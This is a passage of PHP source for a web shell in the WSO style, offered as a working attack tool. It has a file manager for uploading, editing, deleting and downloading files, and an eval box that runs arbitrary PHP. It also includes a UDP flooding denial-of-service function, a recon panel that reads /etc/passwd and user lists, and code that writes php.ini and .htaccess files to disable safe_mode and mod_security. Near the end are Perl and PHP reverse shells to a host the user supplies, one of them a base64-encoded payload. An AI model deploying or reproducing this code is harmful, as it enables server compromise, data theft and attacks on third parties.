  574.     $i .= (($p & 0x0100) ? 'r' : '-');
  575.     $i .= (($p & 0x0080) ? 'w' : '-');
  576.     $i .= (($p & 0x0040) ? (($p & 0x0800) ? 's' : 'x' ) : (($p & 0x0800) ? 'S' : '-'));
  577.     $i .= (($p & 0x0020) ? 'r' : '-');
  578.     $i .= (($p & 0x0010) ? 'w' : '-');
  579.     $i .= (($p & 0x0008) ? (($p & 0x0400) ? 's' : 'x' ) : (($p & 0x0400) ? 'S' : '-'));
  580.     $i .= (($p & 0x0004) ? 'r' : '-');
  581.     $i .= (($p & 0x0002) ? 'w' : '-');
  582.     $i .= (($p & 0x0001) ? (($p & 0x0200) ? 't' : 'x' ) : (($p & 0x0200) ? 'T' : '-'));
  583.     return $i;
  584. }
  585. function madPermsColor($f) {
  586.     if (!@is_readable($f))
  587.         return '<font color=#FF0000>' . madPerms(@fileperms($f)) . '</font>';
  588.     elseif (!@is_writable($f))
  589.         return '<font color=white>' . madPerms(@fileperms($f)) . '</font>';
  590.     else
  591.         return '<font color=#25ff00>' . madPerms(@fileperms($f)) . '</font>';
  592. }
  593.  
  594. if(!function_exists("scandir")) {
  595.     function scandir($dir) {
  596.         $dh  = opendir($dir);
  597.         while (false !== ($filename = readdir($dh)))
  598.             $files[] = $filename;
  599.         return $files;
  600.     }
  601. }
  602.  
  603.  
  604. function madFilesMan() {
  605.     madhead();
  606.     echo '<div class=header><script>p1_=p2_=p3_="";</script>';
  607.     if(!empty($_POST['p1'])) {
  608.         switch($_POST['p1']) {
  609.             case 'uploadFile':
  610.                 if(!@move_uploaded_file($_FILES['f']['tmp_name'], $_FILES['f']['name']))
  611.                     echo "Can't upload file!";
  612.                 break;
  613.             case 'mkdir':
  614.                 if(!@mkdir($_POST['p2']))
  615.                     echo "Can't create new dir";
  616.                 break;
  617.             case 'delete':
  618.                 function deleteDir($path) {
  619.                     $path = (substr($path,-1)=='/') ? $path:$path.'/';
  620.                     $dh  = opendir($path);
  621.                     while ( ($item = readdir($dh) ) !== false) {
  622.                         $item = $path.$item;
  623.                         if ( (basename($item) == "..") || (basename($item) == ".") )
  624.                             continue;
  625.                         $type = filetype($item);
  626.                         if ($type == "dir")
  627.                             deleteDir($item);
  628.                         else
  629.                             @unlink($item);
  630.                     }
  631.                     closedir($dh);
  632.                     @rmdir($path);
  633.                 }
  634.                 if(is_dir(@$_POST['p2']))
  635.                 deleteDir(@$_POST['p2']);
  636.                 else
  637.                 @unlink(@$_POST['p2']);
  638.                 break;
  639.         default:
  640.                 if(!empty($_POST['p1'])) {
  641.                     $_SESSION['act'] = @$_POST['p1'];
  642.                     $_SESSION['f'] = @$_POST['f'];
  643.                     foreach($_SESSION['f'] as $k => $f)
  644.                         $_SESSION['f'][$k] = urldecode($f);
  645.                     $_SESSION['c'] = @$_POST['c'];
  646.                 }
  647.                 break;
  648.         }
  649.     }
  650.     $dirContent = @scandir(isset($_POST['c'])?$_POST['c']:$GLOBALS['cwd']);
  651.     if($dirContent === false) { echo '<h3><span>|  Access Denied! |</span></h3></div>';madFooter(); return; }
  652.     global $sort;
  653.     $sort = array('name', 1);
  654.     if(!empty($_POST['p1'])) {
  655.         if(preg_match('!s_([A-z]+)_(\d{1})!', $_POST['p1'], $match))
  656.             $sort = array($match[1], (int)$match[2]);
  657.     }
  658. echo "
  659. <table width='100%' class='main' cellspacing='0' cellpadding='2'  >
  660. <form name=files method=post><tr><th>Name</th><th>Size</th><th>Modify</th><th>Owner/Group</th><th>Permissions</th><th>Actions</th></tr>";
  661.     $dirs = $files = array();
  662.     $n = count($dirContent);
  663.     for($i=0;$i<$n;$i++) {
  664.         $ow = @posix_getpwuid(@fileowner($dirContent[$i]));
  665.         $gr = @posix_getgrgid(@filegroup($dirContent[$i]));
  666.         $tmp = array('name' => $dirContent[$i],
  667.                      'path' => $GLOBALS['cwd'].$dirContent[$i],
  668.                      'modify' => @date('Y-m-d H:i:s', @filemtime($GLOBALS['cwd'] . $dirContent[$i])),
  669.                      'perms' => madPermsColor($GLOBALS['cwd'] . $dirContent[$i]),
  670.                      'size' => @filesize($GLOBALS['cwd'].$dirContent[$i]),
  671.                      'owner' => $ow['name']?$ow['name']:@fileowner($dirContent[$i]),
  672.                      'group' => $gr['name']?$gr['name']:@filegroup($dirContent[$i])
  673.                     );
  674.         if(@is_file($GLOBALS['cwd'] . $dirContent[$i]))
  675.             $files[] = array_merge($tmp, array('type' => 'file'));
  676.         elseif(@is_link($GLOBALS['cwd'] . $dirContent[$i]))
  677.             $dirs[] = array_merge($tmp, array('type' => 'link', 'link' => readlink($tmp['path'])));
  678.         elseif(@is_dir($GLOBALS['cwd'] . $dirContent[$i])&& ($dirContent[$i] != "."))
  679.             $dirs[] = array_merge($tmp, array('type' => 'dir'));
  680.     }
  681.     $GLOBALS['sort'] = $sort;
  682.     function wsoCmp($a, $b) {
  683.         if($GLOBALS['sort'][0] != 'size')
  684.             return strcmp(strtolower($a[$GLOBALS['sort'][0]]), strtolower($b[$GLOBALS['sort'][0]]))*($GLOBALS['sort'][1]?1:-1);
  685.         else
  686.             return (($a['size'] < $b['size']) ? -1 : 1)*($GLOBALS['sort'][1]?1:-1);
  687.     }
  688.     usort($files, "wsoCmp");
  689.     usort($dirs, "wsoCmp");
  690.     $files = array_merge($dirs, $files);
  691.     $l = 0;
  692.     foreach($files as $f) {
  693.         echo '<tr'.($l?' class=l1':'').'><td><a href=# onclick="'.(($f['type']=='file')?'g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'view\')">'.htmlspecialchars($f['name']):'g(\'FilesMan\',\''.$f['path'].'\');" title=' . $f['link'] . '><b>| ' . htmlspecialchars($f['name']) . ' |</b>').'</a></td><td>'.(($f['type']=='file')?madSize($f['size']):$f['type']).'</td><td>'.$f['modify'].'</td><td>'.$f['owner'].'/'.$f['group'].'</td><td><a href=# onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\',\'chmod\')">'.$f['perms']
  694.             .'</td><td><a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'rename\')">R</a> <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'touch\')">T</a>'.(($f['type']=='file')?' <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'edit\')">E</a> <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'download\')">D</a>':'').'<a href="#" onclick="g(\'FilesMan\',null,\'delete\', \''.urlencode($f['name']).'\')"> X </a></td></tr>';
  695.         $l = $l?0:1;
  696.     }
  697.     echo "<tr><td colspan=7>
  698.     <input type=hidden name=a value='FilesMan'>
  699.     <input type=hidden name=c value='" . htmlspecialchars($GLOBALS['cwd']) ."'>
  700.     <input type=hidden name=charset value='". (isset($_POST['charset'])?$_POST['charset']:'')."'>
  701.     </form></table></div>";
  702.  
  703.  
  704.     madfooter();
  705.  }
  706.  
  707.   function madFilesTools() {
  708.     if( isset($_POST['p1']) )
  709.         $_POST['p1'] = urldecode($_POST['p1']);
  710.     if(@$_POST['p2']=='download') {
  711.         if(@is_file($_POST['p1']) && @is_readable($_POST['p1'])) {
  712.             ob_start("ob_gzhandler", 4096);
  713.             header("Content-Disposition: attachment; filename=".basename($_POST['p1']));
  714.             if (function_exists("mime_content_type")) {
  715.                 $type = @mime_content_type($_POST['p1']);
  716.                 header("Content-Type: " . $type);
  717.             } else
  718.                 header("Content-Type: application/octet-stream");
  719.             $fp = @fopen($_POST['p1'], "r");
  720.             if($fp) {
  721.                 while(!@feof($fp))
  722.                     echo @fread($fp, 1024);
  723.                 fclose($fp);
  724.             }
  725.         }exit;
  726.     }
  727.     if( @$_POST['p2'] == 'mkfile' ) {
  728.         if(!file_exists($_POST['p1'])) {
  729.             $fp = @fopen($_POST['p1'], 'w');
  730.             if($fp) {
  731.                 $_POST['p2'] = "edit";
  732.                 fclose($fp);
  733.             }
  734.         }
  735.     }
  736.  
  737.    madhead();
  738.     echo '<div class=header>';
  739.     if( !file_exists(@$_POST['p1']) ) {
  740.         echo "<pre class=ml1 style='margin-top:5px'>FILE DOEST NOT EXITS </pre></div>";
  741.         madFooter();
  742.         return;
  743.     }
  744.     $uid = @posix_getpwuid(@fileowner($_POST['p1']));
  745.     if(!$uid) {
  746.         $uid['name'] = @fileowner($_POST['p1']);
  747.         $gid['name'] = @filegroup($_POST['p1']);
  748.     } else $gid = @posix_getgrgid(@filegroup($_POST['p1']));
  749.     echo '<span>Name:</span> '.htmlspecialchars(@basename($_POST['p1'])).' <span>Size:</span> '.(is_file($_POST['p1'])?madSize(filesize($_POST['p1'])):'-').' <span>Permission:</span> '.madPermsColor($_POST['p1']).' <span>Owner/Group:</span> '.$uid['name'].'/'.$gid['name'].'<br>';
  750.     echo '<br>';
  751.     if( empty($_POST['p2']) )
  752.         $_POST['p2'] = 'view';
  753.     if( is_file($_POST['p1']) )
  754.         $m = array('View', 'Highlight', 'Download', 'Edit', 'Chmod', 'Rename', 'Touch');
  755.     else
  756.         $m = array('Chmod', 'Rename', 'Touch');
  757.     foreach($m as $v)
  758.         echo '<a  href=# onclick="g(null,null,null,\''.strtolower($v).'\')"><span>'.((strtolower($v)==@$_POST['p2'])?'<b><span> '.$v.' </span> </b>':$v).' </span></a> ';
  759.     echo '<br><br>';
  760.     switch($_POST['p2']) {
  761.         case 'view':
  762.             echo '<pre class=ml1>';
  763.             $fp = @fopen($_POST['p1'], 'r');
  764.             if($fp) {
  765.                 while( !@feof($fp) )
  766.                     echo htmlspecialchars(@fread($fp, 1024));
  767.                 @fclose($fp);
  768.             }
  769.             echo '</pre>';
  770.             break;
  771.         case 'highlight':
  772.             if( @is_readable($_POST['p1']) ) {
  773.                 echo '<div class=ml1 style="background-color: #e1e1e1;color:black;">';
  774.                 $code = @highlight_file($_POST['p1'],true);
  775.                 echo str_replace(array('<span ','</span>'), array('<font ','</font>'),$code).'</div>';
  776.             }
  777.             break;
  778.         case 'chmod':
  779.             if( !empty($_POST['p3']) ) {
  780.                 $perms = 0;
  781.                 for($i=strlen($_POST['p3'])-1;$i>=0;--$i)
  782.                     $perms += (int)$_POST['p3'][$i]*pow(8, (strlen($_POST['p3'])-$i-1));
  783.                 if(!@chmod($_POST['p1'], $perms))
  784.                     echo 'Can\'t set permissions!<br><script>document.mf.p3.value="";</script>';
  785.             }
  786.             clearstatcache();
  787.             echo '<script>p3_="";</script><form onsubmit="g(null,null,null,null,this.chmod.value);return false;"><input type=text name=chmod value="'.substr(sprintf('%o', fileperms($_POST['p1'])),-4).'"><input type=submit value=">>"></form>';
  788.             break;
  789.         case 'edit':
  790.             if( !is_writable($_POST['p1'])) {
  791.                 echo 'File isn\'t writeable';
  792.                 break;
  793.             }
  794.             if( !empty($_POST['p3']) ) {
  795.                 $time = @filemtime($_POST['p1']);
  796.                 $_POST['p3'] = substr($_POST['p3'],1);
  797.                 $fp = @fopen($_POST['p1'],"w");
  798.                 if($fp) {
  799.                     @fwrite($fp,$_POST['p3']);
  800.                     @fclose($fp);
  801.                     echo 'Saved!<br><script>p3_="";</script>';
  802.                     @touch($_POST['p1'],$time,$time);
  803.                 }
  804.             }
  805.             echo '<form onsubmit="g(null,null,null,null,\'1\'+this.text.value);return false;"><textarea name=text class=bigarea>';
  806.             $fp = @fopen($_POST['p1'], 'r');
  807.             if($fp) {
  808.                 while( !@feof($fp) )
  809.                     echo htmlspecialchars(@fread($fp, 1024));
  810.                 @fclose($fp);
  811.             }
  812.             echo '</textarea><input type=submit value=">>"></form>';
  813.             break;
  814.         case 'hexdump':
  815.             $c = @file_get_contents($_POST['p1']);
  816.             $n = 0;
  817.             $h = array('00000000<br>','','');
  818.             $len = strlen($c);
  819.             for ($i=0; $i<$len; ++$i) {
  820.                 $h[1] .= sprintf('%02X',ord($c[$i])).' ';
  821.                 switch ( ord($c[$i]) ) {
  822.                     case 0:  $h[2] .= ' '; break;
  823.                     case 9:  $h[2] .= ' '; break;
  824.                     case 10: $h[2] .= ' '; break;
  825.                     case 13: $h[2] .= ' '; break;
  826.                     default: $h[2] .= $c[$i]; break;
  827.                 }
  828.                 $n++;
  829.                 if ($n == 32) {
  830.                     $n = 0;
  831.                     if ($i+1 < $len) {$h[0] .= sprintf('%08X',$i+1).'<br>';}
  832.                     $h[1] .= '<br>';
  833.                     $h[2] .= "\n";
  834.                 }
  835.             }
  836.             echo '<table cellspacing=1 cellpadding=5 bgcolor=black><tr><td bgcolor=gray><span style="font-weight: normal;"><pre>'.$h[0].'</pre></span></td><td bgcolor=#282828><pre>'.$h[1].'</pre></td><td bgcolor=#333333><pre>'.htmlspecialchars($h[2]).'</pre></td></tr></table>';
  837.             break;
  838.         case 'rename':
  839.             if( !empty($_POST['p3']) ) {
  840.                 if(!@rename($_POST['p1'], $_POST['p3']))
  841.                     echo 'Can\'t rename!<br>';
  842.                 else
  843.                     die('<script>g(null,null,"'.urlencode($_POST['p3']).'",null,"")</script>');
  844.             }
  845.             echo '<form onsubmit="g(null,null,null,null,this.name.value);return false;"><input type=text name=name value="'.htmlspecialchars($_POST['p1']).'"><input type=submit value=">>"></form>';
  846.             break;
  847.         case 'touch':
  848.             if( !empty($_POST['p3']) ) {
  849.                 $time = strtotime($_POST['p3']);
  850.                 if($time) {
  851.                     if(!touch($_POST['p1'],$time,$time))
  852.                         echo 'Fail!';
  853.                     else
  854.                         echo 'Touched!';
  855.                 } else echo 'Bad time format!';
  856.             }
  857.             clearstatcache();
  858.             echo '<script>p3_="";</script><form onsubmit="g(null,null,null,null,this.touch.value);return false;"><input type=text name=touch value="'.date("Y-m-d H:i:s", @filemtime($_POST['p1'])).'"><input type=submit value=">>"></form>';
  859.             break;
  860.     }
  861.     echo '</div>';
  862.     madFooter();
  863. }
  864.  
  865. function madphpeval()
  866. {
  867.     madhead();
  868.  
  869.     if(isset($_POST['p2']) && ($_POST['p2'] == 'ini')) {
  870.         echo '<div class=header>';
  871.         ob_start();
  872.         $INI=ini_get_all();
  873. print '<table border=0><tr>'
  874.     .'<td class="listing"><font class="highlight_txt">Param</td>'
  875.     .'<td class="listing"><font class="highlight_txt">Global value</td>'
  876.     .'<td class="listing"><font class="highlight_txt">Local Value</td>'
  877.     .'<td class="listing"><font class="highlight_txt">Access</td></tr>';
  878. foreach ($INI as $param => $values)
  879.     print "\n".'<tr>'
  880.         .'<td class="listing"><b>'.$param.'</td>'
  881.         .'<td class="listing">'.$values['global_value'].' </td>'
  882.         .'<td class="listing">'.$values['local_value'].' </td>'
  883.         .'<td class="listing">'.$values['access'].' </td></tr>';
  884.         $tmp = ob_get_clean();
  885.         $tmp = preg_replace('!(body|a:\w+|body, td, th, h1, h2) {.*}!msiU','',$tmp);
  886.         $tmp = preg_replace('!td, th {(.*)}!msiU','.e, .v, .h, .h th {$1}',$tmp);
  887.         echo str_replace('<h1','<h2', $tmp) .'</div><br>';
  888.     }
  889.  
  890.     if(isset($_POST['p2']) && ($_POST['p2'] == 'info')) {
  891.         echo '<div class=header><style>.p {color:#000;}</style>';
  892.         ob_start();
  893.         phpinfo();
  894.         $tmp = ob_get_clean();
  895.         $tmp = preg_replace('!(body|a:\w+|body, td, th, h1, h2) {.*}!msiU','',$tmp);
  896.         $tmp = preg_replace('!td, th {(.*)}!msiU','.e, .v, .h, .h th {$1}',$tmp);
  897.         echo str_replace('<h1','<h2', $tmp) .'</div><br>';
  898.     }
  899.  
  900.     if(isset($_POST['p2']) && ($_POST['p2'] == 'exten')) {
  901.         echo '<div class=header>';
  902.         ob_start();
  903.          $EXT=get_loaded_extensions ();
  904.      print '<table border=0><tr><td class="listing">'
  905.     .implode('</td></tr>'."\n".'<tr><td class="listing">', $EXT)
  906.     .'</td></tr></table>'
  907.     .count($EXT).' extensions loaded';
  908.  
  909.  
  910.         echo '</div><br>';
  911.     }
  912.  
  913.  
  914.     if(empty($_POST['ajax']) && !empty($_POST['p1']))
  915.         $_SESSION[md5($_SERVER['HTTP_HOST']) . 'ajax'] = false;
  916.     echo '<div class=header><Center><a href=# onclick="g(\'phpeval\',null,\'\',\'ini\')">| INI_INFO | </a><a href=# onclick="g(\'phpeval\',null,\'\',\'info\')">    | phpinfo |</a><a href=# onclick="g(\'phpeval\',null,\'\',\'exten\')">   | extensions  |</a></center><br><form name=pf method=post onsubmit="g(\'phpeval\',null,this.code.value,\'\'); return false;"><textarea name=code class=bigarea id=PhpCode>'.(!empty($_POST['p1'])?htmlspecialchars($_POST['p1']):'').'</textarea><center><input type=submit value=Eval style="margin-top:5px"></center>';
  917.     echo '</form><pre id=PhpOutput style="'.(empty($_POST['p1'])?'display:none;':'').'margin-top:5px;" class=ml1>';
  918.     if(!empty($_POST['p1'])) {
  919.         ob_start();
  920.         eval($_POST['p1']);
  921.         echo htmlspecialchars(ob_get_clean());
  922.     }
  923.     echo '</pre></div>';
  924.  
  925.     madfooter();
  926. }
  927.  
  928. function madhash()
  929. {
  930.     if(!function_exists('hex2bin')) {function hex2bin($p) {return decbin(hexdec($p));}}
  931.     if(!function_exists('binhex')) {function binhex($p) {return dechex(bindec($p));}}
  932.     if(!function_exists('hex2ascii')) {function hex2ascii($p){$r='';for($i=0;$i<strLen($p);$i+=2){$r.=chr(hexdec($p[$i].$p[$i+1]));}return $r;}}
  933.     if(!function_exists('ascii2hex')) {function ascii2hex($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= sprintf('%02X',ord($p[$i]));return strtoupper($r);}}
  934.     if(!function_exists('full_urlencode')) {function full_urlencode($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= '%'.dechex(ord($p[$i]));return strtoupper($r);}}
  935.     $stringTools = array(
  936.         'Base64 encode' => 'base64_encode',
  937.         'Base64 decode' => 'base64_decode',
  938.         'md5 hash' => 'md5',
  939.         'sha1 hash' => 'sha1',
  940.         'crypt' => 'crypt',
  941.         'CRC32' => 'crc32',
  942.         'Url encode' => 'urlencode',
  943.         'Url decode' => 'urldecode',
  944.         'Full urlencode' => 'full_urlencode',
  945.         'Htmlspecialchars' => 'htmlspecialchars',
  946.  
  947.     );
  948.  
  949.     madhead();
  950.     echo '<div class=header>';
  951.     if(empty($_POST['ajax'])&&!empty($_POST['p1']))
  952.         $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = false;
  953.     echo "<form  onSubmit='g(null,null,this.selectTool.value,this.input.value); return false;'><select name='selectTool'>";
  954.     foreach($stringTools as $k => $v)
  955.         echo "<option value='".htmlspecialchars($v)."'>".$k."</option>";
  956.         echo "</select><input type='submit' value='>>'/><br><textarea name='input' style='margin-top:5px' class=bigarea>".(empty($_POST['p1'])?'':htmlspecialchars(@$_POST['p2']))."</textarea></form><pre class='ml1' style='".(empty($_POST['p1'])?'display:none;':'')."margin-top:5px' id='strOutput'>";
  957.     if(!empty($_POST['p1'])) {
  958.         if(in_array($_POST['p1'], $stringTools))echo htmlspecialchars($_POST['p1']($_POST['p2']));
  959.     }
  960.     echo "</div>";
  961.     madFooter();
  962.  
  963. }
  964. function maddos()
  965. {
  966.     madhead();
  967.     echo '<div class=header>';
  968.   if(empty($_POST['ajax'])&&!empty($_POST['p1']))
  969.   $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = false;
  970.   echo '<center><span>| UDP DOSSIER |</span><br><br><form onSubmit="g(null,null,this.udphost.value,this.udptime.value,this.udpport.value); return false;" method=POST><span>Host :</span><input name="udphost" type="text"  size="25" /><span>Time :</span><input name="udptime" type="text" size="15" /><span>Port :</span><input name="udpport" type="text" size="10" /><input  type="submit" value=">>" /></form></center>';
  971.   echo "<pre class='ml1' style='".(empty($_POST['p1'])?'display:none;':'')."margin-top:5px' >";
  972.     if(!empty($_POST['p1']) && !empty($_POST['p2']) && !empty($_POST['p3']))
  973.     {
  974.          $packets=0;
  975.         ignore_user_abort(true);
  976.         $exec_time=$_POST['p2'];
  977.         $time=time();
  978.         $max_time=$exec_time+$time;
  979.         $host=$_POST['p1'];
  980.         $portudp=$_POST['p3'];
  981.         for($i=0;$i<65000;$i++)
  982.         {
  983.             $out .= 'X';
  984.         }
  985.         while(1){
  986.  
  987.          $packets++;
  988.             if(time() > $max_time){
  989.                     break;
  990.             }
  991.  
  992.             $fp = fsockopen('udp://'.$host, $portudp, $errno, $errstr, 5);
  993.             if($fp){
  994.                     fwrite($fp, $out);
  995.                     fclose($fp);
  996.             }
  997.             }
  998.          echo "$packets (" . round(($packets*65)/1024, 2) . " MB) packets averaging ". round($packets/$exec_time, 2) . " packets per second";
  999.          echo "</pre>";
  1000.     }
  1001.  
  1002.     echo '</div>';
  1003.  
  1004.     madfooter();
  1005. }
  1006.  
  1007. function madproc()
  1008. {
  1009.     madhead();
  1010.     echo "<Div class=header><center>";
  1011.     if(empty($_POST['ajax'])&&!empty($_POST['p1']))
  1012.   $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = false;
  1013.   if($GLOBALS['sys']=="win")
  1014.   {
  1015.     $process=array(
  1016.     "System Info" =>"systeminfo",
  1017.     "Active Connections" => "netstat -an",
  1018.     "Running Services" => "net start",
  1019.     "User Accounts" => "net user",
  1020.     "Show Computers" => "net view",
  1021.     "ARP Table" => "arp -a",
  1022.     "IP Configuration" => "ipconfig /all"
  1023.     );
  1024.     }
  1025.   else
  1026.   {
  1027.     $process=array(
  1028.     "Process status" => "ps aux",
  1029.     "Syslog" =>"cat  /etc/syslog.conf",
  1030.     "Resolv" => "cat  /etc/resolv.conf",
  1031.     "Hosts" =>"cat /etc/hosts",
  1032.     "Passwd" =>"cat /etc/passwd",
  1033.     "Cpuinfo"=>"cat /proc/cpuinfo",
  1034.     "Version"=>"cat /proc/version",
  1035.     "Sbin"=>"ls -al /usr/sbin",
  1036.     "Interrupts"=>"cat /proc/interrupts",
  1037.     "lsattr"=>"lsattr -va",
  1038.     "Uptime"=>"uptime",
  1039.     "Fstab" =>"cat /etc/fstab",
  1040.     "HDD Space" => "df -h"
  1041.     );}
  1042.  
  1043.     foreach($process as $n => $link)
  1044.     {
  1045.         echo '<a href="#" onclick="g(null,null,\''.$link.'\')"> | '.$n.' | </a>';
  1046.     }
  1047.     echo "</center>";
  1048.      if(!empty($_POST['p1']))
  1049.      {
  1050.         echo "<pre class='ml1' style='margin-top:5px' >";
  1051.         echo madEx($_POST['p1']);
  1052.         echo '</pre>';
  1053.      }
  1054.      echo "</div>";
  1055.      madfooter();
  1056.      }
  1057.  
  1058. function madsafe()
  1059. {
  1060.     madhead();
  1061.     echo "<div class=header><center><h3><span>| SAFE MODE AND MOD SECURITY DISABLED AND PERL 500 INTERNAL ERROR BYPASS |</span></h3>Following php.ini and .htaccess(mod) and perl(.htaccess)[convert perl extention *.pl => *.sh  ] files create in following dir<br>| ".$GLOBALS['cwd']." |<br>";
  1062.     echo '<a href=# onclick="g(null,null,\'php.ini\',null)">| PHP.INI | </a><a href=# onclick="g(null,null,null,\'ini\')">| .htaccess(Mod) | </a><a href=# onclick="g(null,null,null,null,\'sh\')">| .htaccess(perl) | </a></center>';
  1063.     if(!empty($_POST['p2']) && isset($_POST['p2']))
  1064.     {
  1065.     $fil=fopen($GLOBALS['cwd'].".htaccess","w");
  1066.     fwrite($fil,'<IfModule mod_security.c>
  1067. Sec------Engine Off
  1068. Sec------ScanPOST Off
  1069. </IfModule>');
  1070.     fclose($fil);
  1071.    }
  1072.    if(!empty($_POST['p1'])&& isset($_POST['p1']))
  1073.    {
  1074.     $fil=fopen($GLOBALS['cwd']."php.ini","w");
  1075.       fwrite($fil,'safe_mode=OFF
  1076. disable_functions=NONE');
  1077.      fclose($fil);
  1078.     }
  1079.     if(!empty($_POST['p3']) && isset($_POST['p3']))
  1080.     {
  1081.     $fil=fopen($GLOBALS['cwd'].".htaccess","w");
  1082.     fwrite($fil,'Options FollowSymLinks MultiViews Indexes ExecCGI
  1083. AddType application/x-httpd-cgi .sh
  1084. AddHandler cgi-script .pl
  1085. AddHandler cgi-script .pl');
  1086.      fclose($fil);
  1087.     }
  1088.     echo "<br></div>";
  1089.     madfooter();
  1090.  
  1091. }
  1092.  
  1093. function madconnect()
  1094. {
  1095.  madhead();
  1096.  $back_connect_p="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7";
  1097.  echo "<div class=header><center><h3><span>| PERL AND PHP(threads) BACK CONNECT |</span></h3>";
  1098.  echo "<form  onSubmit=\"g(null,null,'bcp',this.server.value,this.port.value);return false;\"><span>PERL BACK CONNECT</span><br>IP: <input type='text' name='server' value='". $_SERVER['REMOTE_ADDR'] ."'> Port: <input type='text' name='port' value='443'> <input type=submit value='>>'></form>";
  1099.  echo "<br><form  onSubmit=\"g(null,null,'php',this.server.value,this.port.value);return false;\"><span>PHP BACK CONNECT</span><br>IP: <input type='text' name='server' value='". $_SERVER['REMOTE_ADDR'] ."'> Port: <input type='text' name='port' value='443'> <input type=submit value='>>'></form></center>";
  1100.  if(isset($_POST['p1'])) {
  1101.         function cf($f,$t) {
  1102.             $w = @fopen($f,"w") or @function_exists('file_put_contents');
  1103.             if($w){
  1104.                 @fwrite($w,@base64_decode($t));
  1105.                 @fclose($w);
  1106.             }
  1107.         }
  1108.         if($_POST['p1'] == 'bcp') {
  1109.             cf("/tmp/bc.pl",$back_connect_p);
  1110.             $out = madEx("perl /tmp/bc.pl ".$_POST['p2']." ".$_POST['p3']." 1>/dev/null 2>&1 &");
  1111.             echo "<pre class=ml1 style='margin-top:5px'>Successfully opened reverse shell to ".$_POST['p2'].":".$_POST['p3']."<br>Connecting...</pre>";
  1112.             @unlink("/tmp/bc.pl");
  1113.         }
  1114.         if($_POST['p1']=='php')
  1115.  {
  1116.  
  1117. @set_time_limit (0);
  1118. $ip = $_POST['p2'];
  1119. $port =$_POST['p3'];
  1120. $chunk_size = 1400;
  1121. $write_a = null;
  1122. $error_a = null;
  1123. $shell = 'uname -a; w; id; /bin/sh -i';
  1124. $daemon = 0;
  1125. $debug = 0;
  1126. echo "<pre class=ml1 style='margin-top:5px'>";
  1127.  
  1128. if (function_exists('pcntl_fork')) {
  1129.  
  1130.     $pid = pcntl_fork();
  1131.  
  1132.     if ($pid == -1) {
  1133.         echo "Cant fork!<br>";
  1134.         exit(1);
  1135.     }
  1136.  
  1137.     if ($pid) {
  1138.         exit(0);
  1139.     }
  1140.  
  1141.     if (posix_setsid() == -1) {
  1142.         echo "Error: Can't setsid()<br>";
  1143.         exit(1);
  1144.     }
  1145.  
  1146.     $daemon = 1;
  1147. } else {
  1148.     echo "WARNING: Failed to daemonise.  This is quite common and not fatal<br>";
  1149. }
  1150.  
  1151. chdir("/");
  1152.  
  1153. umask(0);
  1154.  
  1155. $sock = fsockopen($ip, $port, $errno, $errstr, 30);
  1156. if (!$sock) {
  1157.     echo "$errstr ($errno)";
  1158.     exit(1);
  1159. }
  1160.  
  1161.  
  1162. $descriptorspec = array(
  1163.    0 => array("pipe", "r"),
  1164.    1 => array("pipe", "w"),
  1165.    2 => array("pipe", "w")
  1166. );
  1167.  
  1168. $process = proc_open($shell, $descriptorspec, $pipes);
  1169.  
  1170. if (!is_resource($process)) {
  1171.     echo "ERROR: Can't spawn shell<br>";
  1172.     exit(1);
  1173. }
  1174.  
  1175.  
  1176. @stream_set_blocking($pipes[0], 0);
  1177. @stream_set_blocking($pipes[1], 0);
  1178. @stream_set_blocking($pipes[2], 0);
  1179. @stream_set_blocking($sock, 0);
  1180.  
  1181. echo "Successfully opened reverse shell to $ip:$port<br>";
  1182.  
  1183. while (1) {
  1184.     if (feof($sock)) {
  1185.         echo "ERROR: Shell connection terminated<br>";
  1186.         break;
  1187.     }
  1188.  
  1189.     if (feof($pipes[1])) {
  1190.         echo "ERROR: Shell process terminated<br>";
  1191.         break;
  1192.     }
  1193.  
  1194.  
  1195.     $read_a = array($sock, $pipes[1], $pipes[2]);
  1196.     $num_changed_sockets=@stream_select($read_a, $write_a, $error_a, null);
  1197.  
  1198.     if (in_array($sock, $read_a)) {
  1199.         if ($debug) echo "SOCK READ<br>";
  1200.         $input=fread($sock, $chunk_size);
  1201.         if ($debug) echo "SOCK: $input<br>";
  1202.         fwrite($pipes[0], $input);
  1203.     }
  1204.  
  1205.     if (in_array($pipes[1], $read_a)) {
  1206.         if ($debug) echo "STDOUT READ<br>";
  1207.         $input = fread($pipes[1], $chunk_size);
  1208.         if ($debug) echo "STDOUT: $input<br>";
  1209.         fwrite($sock, $input);
  1210.     }
  1211.  
  1212.  
  1213.     if (in_array($pipes[2], $read_a)) {
  1214.         if ($debug) echo "STDERR READ<br>";
  1215.         $input = fread($pipes[2], $chunk_size);
  1216.         if ($debug) echo "STDERR: $input<br>";
  1217.         fwrite($sock, $input);
  1218.     }
  1219. }
  1220.  
  1221. fclose($sock);
